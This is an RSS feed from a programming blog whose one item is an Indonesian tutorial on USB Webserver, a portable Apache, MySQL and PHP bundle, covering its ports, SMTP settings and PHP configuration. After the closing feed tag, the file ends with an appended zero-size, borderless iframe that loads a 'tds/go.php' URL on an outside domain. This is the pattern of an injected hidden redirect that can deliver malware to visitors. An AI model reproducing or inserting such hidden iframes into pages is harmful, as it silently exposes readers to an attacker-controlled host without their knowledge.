<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; Apache</title>
	<atom:link href="http://www.dijexi.com/tag/apache/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>Portable Apache, MySQL, PHP</title>
		<link>http://www.dijexi.com/2009/06/portable-apache-mysql-php/</link>
		<comments>http://www.dijexi.com/2009/06/portable-apache-mysql-php/#comments</comments>
		<pubDate>Mon, 29 Jun 2009 23:12:13 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[apache mysql]]></category>
		<category><![CDATA[apache php]]></category>
		<category><![CDATA[drive usb]]></category>
		<category><![CDATA[port 8080]]></category>
		<category><![CDATA[portable]]></category>
		<category><![CDATA[server smtp]]></category>
		<category><![CDATA[settingan]]></category>
		<category><![CDATA[usb]]></category>
		<category><![CDATA[usb webserver]]></category>
		<category><![CDATA[wamp]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/06/portable-apache-mysql-php/</guid>
		<description><![CDATA[Pada kondisi dimana user minta bisa mencoba aplikasi yang kita bangun menggunakan WAMP (Windows Apache MySQL PHP) dan belum terdapat server komputer yang dapat kita installkan infrastruktur yang dibutuhkan, kita dapat menggunakan portable WAMP yang dapat dijalankan dari USB. Kondisi lainnya adalah ketika kita ingin membuat versi trial aplikasi web kita ke calon customer. Salah [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>Pada kondisi dimana user minta bisa mencoba aplikasi yang kita bangun menggunakan WAMP (Windows Apache MySQL PHP) dan belum terdapat server komputer yang dapat kita installkan infrastruktur yang dibutuhkan, kita dapat menggunakan portable WAMP yang dapat dijalankan dari USB.</p>
<p>Kondisi lainnya adalah ketika kita ingin membuat versi trial aplikasi web kita ke calon customer.</p>
<p>Salah satu yang dapat digunakan adalah USB Webserver (http://www.usberbserver.nl).&#160; Aplikasi ini berisi Apache, PHP, dan MySQL yang telah dikonfigurasi dan siap dijalankan sehingga kita tinggal mengisi aplikasi web yang akan kita demokan ke client.</p>
<p> <span id="more-215"></span>Instalasi USB Webserver cukup mudah, tinggal extract file setupnya aja ke drive USB yang mau dibawah.&#160; Setelah disetup dan diextrak, akan terdapat beberap direktori dibawah direktori utama misalnya E:\UsbWebserver, dimana E: adalah USB drive.
</p>
<p>Direktori yang paling penting adalah D:\UsbWebserver\Root, dimana kita akan menyimpan aplikasi&#160; web yang akan dijalankan.</p>
<p>Setelah dijalankan USB Webserver akan siap melayani akses web server pada port 8080 (dapat diganti melalui Settings Apache). Jadi misalnya aplikasi kita disimpan pada direktori C:\UsbWebserver\Root\demo maka aplikasi tersebut tinggal diakses melalui web browser pada alamat http://127.0.0.1:8080/demo.</p>
<p>Ketika dijalankan, maka terlihat halaman untuk setingan utama USB Webserver yaitu bahasa, hide at start, dan open localhost at start untuk menjalankan browser secara otomatis saat aplikasi dijalankan:</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/09/usbweb-home.png"><img class="alignnone size-full wp-image-51" title="usbweb-home" alt="" src="http://akhdaniel.files.wordpress.com/2008/09/usbweb-home.png" width="450" height="308" /></a></p>
<p>Pada halaman tsb kita dapat mengontrol server MySQL, APache, dan SMTP yaitu dengan menklik tombol-tombol yang terdapat pada bagian atas halaman tsb. Tanda kotak artinya server sedang berjalan, dan untuk mematikannya klik tombol tsb sehingga berubah menjadi tombol segitiga yang artinya server sedang tidak berjalan.</p>
<p>Klik tab Smtp untuk menampilkan settingan server SMTP yaitu host, port, dan email.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/09/smtp.png"><img class="alignnone size-full wp-image-52" title="smtp" alt="" src="http://akhdaniel.files.wordpress.com/2008/09/smtp.png" width="450" height="249" /></a></p>
<p>Klik tab Apache untuk melihat settingan server Apache, yaitu port webserver yang default nya 8080, dan jenis error yang akan ditampilkan pada log, defaultnya semua error.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/09/apache.png"><img class="alignnone size-full wp-image-53" title="apache" alt="" src="http://akhdaniel.files.wordpress.com/2008/09/apache.png" width="450" height="249" /></a></p>
<p>Klik pada tab MySQL untuk melihat settingan MySQL yaitu port yang defaultnya&#160; 3307 dan password root MySQL yaitu usbw. APlikasi yang hendak kita jalankan perlu menyesuaikan dengan setting yang didefinisikan disini.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/09/mysql.png"><img class="alignnone size-full wp-image-54" title="mysql" alt="" src="http://akhdaniel.files.wordpress.com/2008/09/mysql.png" width="450" height="249" /></a></p>
<p>Untuk menyimpan settingan yang sudah ditentukan klik tombol &quot;Opslaan&quot; &#8230; gak tau artinya apa soalnya bhs Belanda, tapi kira-kira kayak OK gitu.. Atau klik tombol &quot;Annuleren&quot; untuk cancel.</p>
<p>Untuk membuka log file, config file, phpmyadmin, dll dapat digunakan tombol segitiga dibagian atas tengah window.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/09/setting.png"><img class="alignnone size-full wp-image-55" title="setting" alt="" src="http://akhdaniel.files.wordpress.com/2008/09/setting.png" width="450" height="217" /></a></p>
<p>Menu yang muncul dapat digunakan untuk:</p>
<ul>
<li>membuka halaman setting spt diatas, Settings-&gt;Usb Webserver </li>
<li>membuka config file apache httpd.conf, Settings-&gt;Apache </li>
<li>membuka config file PHP.INI, Settings-&gt;PHP </li>
<li>membuka config file phpmyadmin, Settings-&gt;Phpmyadmin </li>
<li>membuka web browser pada alamat default, Localhost </li>
<li>membuka folder root directory, Root Directory </li>
<li>membuka web browser PhpMyAdmin </li>
<li>membuka web browser yang berisi halaman informasi PHP, Php Info </li>
<li>membuka halaman About </li>
<li>dan menutup aplikasi </li>
</ul>
<p><strong>Beberapa Catatan</strong></p>
<ul>
<li>settingan port mysql defaultnya 3307, sehingga aplikasi anda perlu menyesuaikan terutama pada function db_connect mysql, atau ganti settingan ini menjadi default MySQL yaitu 3306. </li>
<li>settingan port apache defaultnya 8080, sehingga pemanggilan aplikasi harus menyertakan nomor port ini, misalnya http://localhost:8080, atau ganti settingan ini menjadi default Apache yaitu 80. </li>
<li>settingan PHP.INI, allow_call_time_pass_reference defaultnya Off, sehingga aplikasi PHP perlu menyesuaikan yaitu tidak bisa mengirimkan parameter function langsung menggunakan variabel tetapi harus menggunakan refference variable tersebut, atau ganti settingan ini menjadi On (tidak direkomendasikan oleh PHP/Zend karena option ini bakalan dimatikan ) </li>
</ul>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/how-to-change-upload-file-size-on-a-windows-localhost/" rel="bookmark">How to change upload file size on a Windows localhost</a></li><li><a href="http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/" rel="bookmark">CodeIgniter: koneksi ke port MySQL tertentu selain 3306</a></li><li><a href="http://www.dijexi.com/2009/06/restore-mysql-database-stored-procedure-missing/" rel="bookmark">Restore MySQL database, stored procedure missing ?</a></li><li><a href="http://www.dijexi.com/2009/08/how-to-debug-php-program-remotely-using-phpdesigner-2008/" rel="bookmark">How to Debug PHP Program Remotely using phpDesigner 2008</a></li><li><a href="http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/" rel="bookmark">MySQL Transpose Row Into Column</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Fportable-apache-mysql-php%2F&amp;linkname=Portable%20Apache%2C%20MySQL%2C%20PHP"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/portable-apache-mysql-php/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
